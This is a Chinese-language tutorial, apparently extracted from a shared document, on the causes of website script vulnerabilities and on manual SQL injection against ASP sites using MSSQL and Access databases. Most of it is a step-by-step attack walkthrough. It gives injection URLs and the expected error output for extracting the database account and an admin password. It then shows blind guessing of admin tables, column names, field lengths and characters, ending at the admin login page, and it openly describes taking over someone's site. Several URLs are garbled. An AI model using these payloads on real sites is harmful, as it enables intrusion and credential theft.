1、分析网站脚本漏洞形成的原因分析网站脚本漏洞形成的原因.txt随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖狂,并且越来越低龄化和傻瓜化。 “你只要会用一个工具就可以黑站” ,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员的素质,往往在编写 asp 或 php 等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。 由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,
2、获得某些他想得知的数据,这就是所谓的 SQL Injection,即 SQL 注入。 相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于 iis 的 asp 程序http:/localhost/test/show.asp?ID=3,将这个网址提交到服务器后,服务器将进行类似 Select * from 表名 where 字段=“&ID 的查询(ID 即客户端提交的参数,本例即是 3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网址:http:/localhost/test/show.asp?ID=3 a
3、nd user0,这时,服务器运行 Select * from 表名 where 字段=444 and user0 这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下: 错误类型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) MicrosoftODBC SQL Server DriverSQL Server将 nvarchar 值 test 转换为数据类型为 int 的列时发生语法错误。 /test/show.asp, 第 34 行 从这个出错信息中,我们可以获得以下信息:该站使用 MSSQL数据库,用 ODBC
4、 连接,连接帐号名为:test。所谓 SQL 注入,就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表 login 中,管理员帐号名为 admin 想知道 admin 的密码,这里接着从客户端提交这样一个网址: http:/localhost/test/show.asp?ID=4 and (Select password from login where user_name=admin)0,返回的出错信息如下: 错误类型: Mi
5、crosoft OLE DB Provider for ODBC Drivers (0x80040E07) MicrosoftODBC SQL Server DriverSQL Server将 varchar 值 admin888 转换为数据类型为 int 的列时发生语法错误。 /test/show.asp, 第 34 行 现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表 login 中,而且也不知道管理员名为 admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有
6、关 mssql 数据库的注入基础,我们再看一看 acce 数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏览器图标,选择“属性” ,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的 HTTP 错误信息”前面的钩,最后点击“应用”按钮即可。 对于 sql 注入得先找到注入点,注入点的判断方法为:通常打开一个类似 http:/ 的 url 后加个单引号,变成 http:/ 如果出现错误提示,则说明可能存在注入漏洞,再输入http:/ and 1=1 如果存在 SQL 注入漏洞,就可以查询数据库,1=1 是一个恒等式可以忽略,因此会返回一个正
7、常的页面,此页面和 http:/ url: http:/ and 1=2,1=2 为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息: Microsoft vbscript 编译器错误 错误码率 800a03f6 缺少End /iishelp/common/500-100.asp,行 242 ADODB.Field 错误 800a0bcd 一般出现以上信息就可以确定存在 sql 注入漏洞了。下面我们来看一下 sql 注入的过程分析: 如: 打开:http:/hostlocal/test2/list.asp?id=17 在其后面加为 http:/hostlocal/test2/
8、list.asp?id=17 出错!显示为:“数据库出错” 。那么接下来我们便进行如下操作: 1 猜管理员帐号表。 2 猜相应表中的用户的字段名以及密码的字段名。 3 猜出用户名的长度和密码的长度 4 猜出用户和密码 5 找到管理页面进入管理 猜管理员的表: http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)/min(id)返回表中 ID 最小值 返回文章证明,有一个 admin 的表;如果没有返回文章,证明出错不存在 admin 这个表。 猜用户的字段名: http:/hostlocal/test2/l
9、ist.asp?id=17 and 1=(select min(id) from admin where user=aaa)返回错误信息,表示没有 user 这个用户段名 再来!http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=aaa) 没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin 中存在 username 个字段,只是用户名不是 aaa 猜密码的字段名: http:/hostlocal/test2/list.asp?id=17 and 1=(selec
10、t min(id) from admin where passwd=aaa)返回错误信息表示没有passwd 这个密码字段名。 再来:http:/hostlocal/test2/list.asp?id=17 and 1=(selectmin(id) from admin where password=aaa)没有返回错误信息,又没有返回文章,提示找不到文章。证明在 admin 中存在 password这个字段,只是密码不是 aaa 猜用户字段名长度: http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin wh
11、ere len(username) 5) 正确 http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)5) 正确 http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)10) 正确 密码长度也是大于 5 小于 10 http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admi
12、n where len(password)=7) 呵 密码长度为 7 位 猜用户名: http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=a) 用户名第一个字母是:a 猜用户名第二位:http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)=b) 以此类推! 猜密码: 猜密码跟猜用户名一样! http:/hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=a) 猜完后来到管理页面: http:/hostlocal/test2/admin.asp